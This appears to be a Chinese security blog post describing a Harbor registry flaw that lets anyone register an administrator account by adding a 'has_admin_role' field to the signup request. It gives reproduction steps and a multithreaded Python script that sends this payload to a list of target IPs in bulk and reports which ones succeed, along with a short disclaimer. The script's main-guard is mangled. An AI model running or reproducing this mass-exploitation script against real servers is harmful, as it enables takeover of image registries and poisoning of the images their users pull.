0x01漏洞描述

Harbor 是一个用于存储和分发 Docker 镜像的企业级 Registry 服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源 Docker Distribution。作为一个企业级私有 Registry 服务器,Harbor 提供了更好的性能和安全。提升用户使用 Registry 构建和运行环境传输镜像的效率。Harbor 支持安装在多个 Registry 节点的镜像资源复制,镜像全部保存在私有 Registry 中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor 也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。

近日 Harbor 曝出一个垂直越权漏洞,因注册模块对参数校验不严格,可导致任意管理员注册。攻击者可以通过注册管理员账号来接管 Harbor 镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

0x02漏洞复现

访问Harbor网站,点击注册然后抓取post数据包

数据包后面加上:"has_admin_role":true

查看返回响应包、201代表成功

登录看看,发现好多人已经撸了- -

0x03 批量脚本

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "test1@qq.com",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass


if name == 'main':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)


# 50是线程
with ThreadPoolExecutor(50) as pool:
    for row in reader:
        if 'http' not in row[0]:
            url = 'http://' + row[0]
        else:
            url = row[0]
        pool.submit(exp, url)

username,email,realname,password,comment参数自行修改,成功后会打印出URL。

仅供技术学习交流、请勿用于非法行为、否则后果自负。

最后修改:2021 年 03 月 09 日
如果觉得我的文章对你有用,请随意赞赏